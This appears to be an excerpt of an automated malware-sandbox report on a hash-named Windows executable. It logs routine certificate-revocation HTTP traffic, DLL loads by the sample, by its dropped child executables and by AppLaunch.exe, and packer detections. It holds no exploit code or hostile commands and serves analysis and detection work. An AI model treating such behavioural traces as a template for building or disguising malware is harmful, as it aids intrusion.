Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 11 Nov 2023 14:26:35 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2507 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA2160414D49BADF2AB3CB9FF1A3E0C506DCF192780868DAA180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 3713 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 15:08:24 GMT Last-Modified: Sat 11 Nov 2023 14:06:31 GMT Server: ECAcc (sac/2522) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /DigiCertGlobalRootG3.crt HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: cacerts.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 8351 cache-control: max-age=172800 public Content-Type: application/pkix-cert Date: Sat 11 Nov 2023 15:08:24 GMT Etag: "614b5ba7-243" expires: Mon 13 Nov 2023 15:08:24 GMT last-modified: Wed 22 Sep 2021 16:36:55 GMT Server: ECAcc (sac/253C) X-Cache: HIT Content-Length: 579 with response body ==>3082023F308201C5A0030201020210055556BCF25EA43535C3A40FD5AB4572300A06082A8648CE3D0403033061310B3009060355040613025553311530130603....... "GET /DigiCertGlobalRootG3.crt HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: cacerts.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 8352 cache-control: max-age=172800 public Content-Type: application/pkix-cert Date: Sat 11 Nov 2023 15:08:25 GMT Etag: "614b5ba7-243" expires: Mon 13 Nov 2023 15:08:25 GMT last-modified: Wed 22 Sep 2021 16:36:55 GMT Server: ECAcc (sac/253C) X-Cache: HIT Content-Length: 579 with response body ==>3082023F308201C5A0030201020210055556BCF25EA43535C3A40FD5AB4572300A06082A8648CE3D0403033061310B3009060355040613025553311530130603....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 11 Nov 2023 14:25:10 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2597 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 11 Nov 2023 14:22:07 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2780 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /DigiCertGlobalRootG3.crt HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: cacerts.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 8354 cache-control: max-age=172800 public Content-Type: application/pkix-cert Date: Sat 11 Nov 2023 15:08:27 GMT Etag: "614b5ba7-243" expires: Mon 13 Nov 2023 15:08:27 GMT last-modified: Wed 22 Sep 2021 16:36:55 GMT Server: ECAcc (sac/253C) X-Cache: HIT Content-Length: 579 with response body ==>3082023F308201C5A0030201020210055556BCF25EA43535C3A40FD5AB4572300A06082A8648CE3D0403033061310B3009060355040613025553311530130603....... "GET /DigiCertGlobalRootG3.crt HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: cacerts.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 8359 cache-control: max-age=172800 public Content-Type: application/pkix-cert Date: Sat 11 Nov 2023 15:08:32 GMT Etag: "614b5ba7-243" expires: Mon 13 Nov 2023 15:08:32 GMT last-modified: Wed 22 Sep 2021 16:36:55 GMT Server: ECAcc (sac/253C) X-Cache: HIT Content-Length: 579 with response body ==>3082023F308201C5A0030201020210055556BCF25EA43535C3A40FD5AB4572300A06082A8648CE3D0403033061310B3009060355040613025553311530130603....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 4304 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 15:08:32 GMT Last-Modified: Sat 11 Nov 2023 13:56:48 GMT Server: ECAcc (sac/254A) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA2160414B13EC36903F8BF4701D498261A0802EF63642BC3180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 3721 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 15:08:32 GMT Last-Modified: Sat 11 Nov 2023 14:06:31 GMT Server: ECAcc (sac/2522) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /DigiCertGlobalRootG3.crt HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: cacerts.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 8361 cache-control: max-age=172800 public Content-Type: application/pkix-cert Date: Sat 11 Nov 2023 15:08:34 GMT Etag: "614b5ba7-243" expires: Mon 13 Nov 2023 15:08:34 GMT last-modified: Wed 22 Sep 2021 16:36:55 GMT Server: ECAcc (sac/253C) X-Cache: HIT Content-Length: 579 with response body ==>3082023F308201C5A0030201020210055556BCF25EA43535C3A40FD5AB4572300A06082A8648CE3D0403033061310B3009060355040613025553311530130603....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 3723 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 15:08:34 GMT Last-Modified: Sat 11 Nov 2023 14:06:31 GMT Server: ECAcc (sac/2522) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 11 Nov 2023 14:22:07 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2788 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Cache-Control: max-age = 14400 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 11 Nov 2023 14:26:35 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2520 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA2160414D49BADF2AB3CB9FF1A3E0C506DCF192780868DAA180F32....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 11 Nov 2023 14:25:10 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2607 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAyrYs0K8fIgDBkW1BOTO8g%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 3757 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 15:08:44 GMT Last-Modified: Sat 11 Nov 2023 14:06:07 GMT Server: ECAcc (sac/2516) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604145168FF90AF0207753CCCD9656462A212B859723B180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 4470 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 15:08:48 GMT Last-Modified: Sat 11 Nov 2023 13:54:18 GMT Server: ECAcc (sac/2507) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA2160414B13EC36903F8BF4701D498261A0802EF63642BC3180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 4045 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 15:08:51 GMT Last-Modified: Sat 11 Nov 2023 14:01:26 GMT Server: ECAcc (sac/2568) X-Cache: HIT Content-Length: 312 with response body ==>308201340A0100A082012D3082012906092B06010505073001010482011A3082011630819EA2160414B3DB48A4F9A1C5D8AE3641CC1163696229BC4BC6180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 4046 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 15:08:52 GMT Last-Modified: Sat 11 Nov 2023 14:01:26 GMT Server: ECAcc (sac/2568) X-Cache: HIT Content-Length: 312 with response body ==>308201340A0100A082012D3082012906092B06010505073001010482011A3082011630819EA2160414B3DB48A4F9A1C5D8AE3641CC1163696229BC4BC6180F32.......4c:T2d69,"0c12cd0538bea9f88b40d52cf438f139.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74f90000 "0c12cd0538bea9f88b40d52cf438f139.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 691e0000 "bJ1qg86.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 691b0000 "bJ1qg86.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74f90000 "Ac8sp85.exe" loaded module "FECLIENT.DLL" at base 692c0000 "Ac8sp85.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 691c0000 "Ac8sp85.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74f90000 "10IO12so.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "10IO12so.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "10IO12so.exe" loaded module "CRYPTBASE.DLL" at base 74fe0000 "10IO12so.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73d60000 "10IO12so.exe" loaded module "KERNEL32.DLL" at base 75700000 "10IO12so.exe" loaded module "API-MS-WIN-CORE-SYSINFO-L1-2-1" at base 0 "10IO12so.exe" loaded module "DWMAPI.DLL" at base 738d0000 "10IO12so.exe" loaded module "UXTHEME.DLL" at base 73d60000 "10IO12so.exe" loaded module "COMCTL32" at base 73f60000 "10IO12so.exe" loaded module "OLE32.DLL" at base 76d00000 "10IO12so.exe" loaded module "URLMON.DLL" at base 75890000 "10IO12so.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 75b10000 "10IO12so.exe" loaded module "OLEAUT32.DLL" at base 76be0000 "10IO12so.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 6caf0000 "10IO12so.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 752a0000 "10IO12so.exe" loaded module "PROPSYS.DLL" at base 73da0000 "10IO12so.exe" loaded module "%PROGRAMFILES%\INTERNET EXPLORER\IEPROXY.DLL" at base 69130000 "10IO12so.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 729d0000 "10IO12so.exe" loaded module "KERNEL32" at base 75700000 "10IO12so.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 69270000 "10IO12so.exe" loaded module "COMCTL32.DLL" at base 73f60000 "10IO12so.exe" loaded module "IMM32.DLL" at base 75af0000 "10IO12so.exe" loaded module "SHELL32.DLL" at base 75b10000 "10IO12so.exe" loaded module "ADVAPI32.DLL" at base 76a10000 "10IO12so.exe" loaded module "APPHELP.DLL" at base 74f90000 "10IO12so.exe" loaded module "IERTUTIL.DLL" at base 75420000 "10IO12so.exe" loaded module "USER32.DLL" at base 76e60000 "10IO12so.exe" loaded module "CLBCATQ.DLL" at base 75670000 "10IO12so.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 696e0000 "10IO12so.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73da0000 "10IO12so.exe" loaded module "SETUPAPI.DLL" at base 76760000 "10IO12so.exe" loaded module "RPCRT4.DLL" at base 76960000 "10IO12so.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74f90000 "11GY8714.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 729d0000 "11GY8714.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "11GY8714.exe" loaded module "KERNEL32" at base 75700000 "11GY8714.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "11GY8714.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 69270000 "11GY8714.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 0 "11GY8714.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74f90000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "AppLaunch.exe" loaded module "KERNEL32" at base 75700000 "AppLaunch.exe" loaded module "RPCRT4.DLL" at base 76960000 "AppLaunch.exe" loaded module "SHELL32.DLL" at base 75b10000 "AppLaunch.exe" loaded module "OLE32.DLL" at base 76d00000 "AppLaunch.exe" loaded module "ADVAPI32.DLL" at base 76a10000 "AppLaunch.exe" loaded module "KERNEL32.DLL" at base 75700000 "AppLaunch.exe" loaded module "PROFAPI.DLL" at base 75100000 "AppLaunch.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 71770000 "AppLaunch.exe" loaded module "WS2_32.DLL" at base 76900000 "AppLaunch.exe" loaded module "WINHTTP.DLL" at base 707f0000 "AppLaunch.exe" loaded module "URLMON.DLL" at base 75890000 "AppLaunch.exe" loaded module "DNSAPI.DLL" at base 74970000 "AppLaunch.exe" loaded module "CLBCATQ.DLL" at base 75670000 "AppLaunch.exe" loaded module "DHCPCSVC6.DLL" at base 72fa0000 "AppLaunch.exe" loaded module "IPHLPAPI.DLL" at base 74640000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 6e6c0000 "AppLaunch.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 76940000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 6dc60000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 76be0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 72fe0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 729d0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 75320000 "AppLaunch.exe" loaded module "SECUR32.DLL" at base 74e20000 "AppLaunch.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 752a0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74ab0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74aa0000 "AppLaunch.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 76940000 "AppLaunch.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 696e0000 "AppLaunch.exe" loaded module "CRYPTBASE.DLL" at base 74fe0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74550000 "AppLaunch.exe" loaded module "DHCPCSVC.DLL" at base 74560000 "AppLaunch.exe" loaded module "RASADHLP.DLL" at base 71900000 "AppLaunch.exe" loaded module "CRYPTSP.DLL" at base 74af0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74880000 "AppLaunch.exe" loaded module "RPCRTREMOTE.DLL" at base 75080000 "AppLaunch.exe" loaded module "OLEAUT32.DLL" at base 76be0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6c780000 "AppLaunch.exe" loaded module "VERSION.DLL" at base 74660000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 663d0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73d60000 "AppLaunch.exe" loaded module "USER32.DLL" at base 76e60000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 62970000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 62860000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 620e0000 "AppLaunch.exe" loaded module "NTDLL.DLL" at base 771e0000 "AppLaunch.exe" loaded module "BCRYPT.DLL" at base 74c00000 "AppLaunch.exe" loaded module "IMM32.DLL" at base 75af0000 "AppLaunch.exe" loaded module "COMCTL32.DLL" at base 673c0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\WINDOWSBASE\1A4CC316FB6D09525321FC0BE44692D8\WINDOWSBASE.NI.DLL" at base 61cc0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIONCORE\468F4E17BE144CA12A73A4297EACC9CC\PRESENTATIONCORE.NI.DLL" at base 61080000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIO5AE0F00F#\252CC7B0FAE8CFE083BDC149957C0C54\PRESENTATIONFRAMEWORK.NI.DLL" at base 5fc90000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\UCRTBASE_CLR0400.DLL" at base 0 "AppLaunch.exe" loaded module "UCRTBASE_CLR0400.DLL" at base 662a0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 75320000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\WPFGFX_V0400.DLL" at base 5fb00000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\PRESENTATIONNATIVE_V0400.DLL" at base 5fa10000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.RUNTEB92AA12#\274E43040C8A7A02EF1065DB3283005A\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL" at base 5f730000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.IDENTITYMODEL\C2EF5BC545B98A289F02D0B3EDDBE280\SYSTEM.IDENTITYMODEL.NI.DLL" at base 5f420000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SMDIAGNOSTICS\DC67DCB4B2FB4A3853D458CAB08561F0\SMDIAGNOSTICS.NI.DLL" at base 67500000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.TRANSACTIONS\3D760B4A3260A41EF84A3FD866780980\SYSTEM.TRANSACTIONS.NI.DLL" at base 5ed10000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.MANAGEMENT\E114780FD3EA5727401C06EA4F22EF35\SYSTEM.MANAGEMENT.NI.DLL" at base 5eb90000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6ecb0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\\WMINET_UTILS.DLL" at base 5f3f0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.SECURITY\93D03EB9812405FA70E89D4EFD5F7E14\SYSTEM.SECURITY.NI.DLL" at base 5e960000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "AppLaunch.exe" loaded module "PSAPI.DLL" at base 77340000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\VCRUNTIME140_CLR0400.DLL" at base 0 "AppLaunch.exe" loaded module "VCRUNTIME140_CLR0400.DLL" at base 6dac0000 "13Ef605.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "13Ef605.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 75320000 "13Ef605.exe" loaded module "KERNEL32" at base 75700000 "13Ef605.exe" loaded module "NETAPI32" at base 692444b4 "13Ef605.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 69270000 "13Ef605.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74f90000 "AppLaunch.exe" loaded module "WSHTCPIP" at base 74550000 "AppLaunch.exe" loaded module "WININET.DLL" at base 76f30000 "AppLaunch.exe" loaded module "COMCTL32.DLL" at base 73f60000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 76900000 "AppLaunch.exe" loaded module "RPCRT4.DLL" at base 771e0000 "AppLaunch.exe" loaded module "SETUPAPI" at base 767600004d:Tabf,"0c12cd0538bea9f88b40d52cf438f139.exe" was detected as "Microsoft Cabinet" and name: "sfx" "0c12cd0538bea9f88b40d52cf438f139.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "0c12cd0538bea9f88b40d52cf438f139.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" 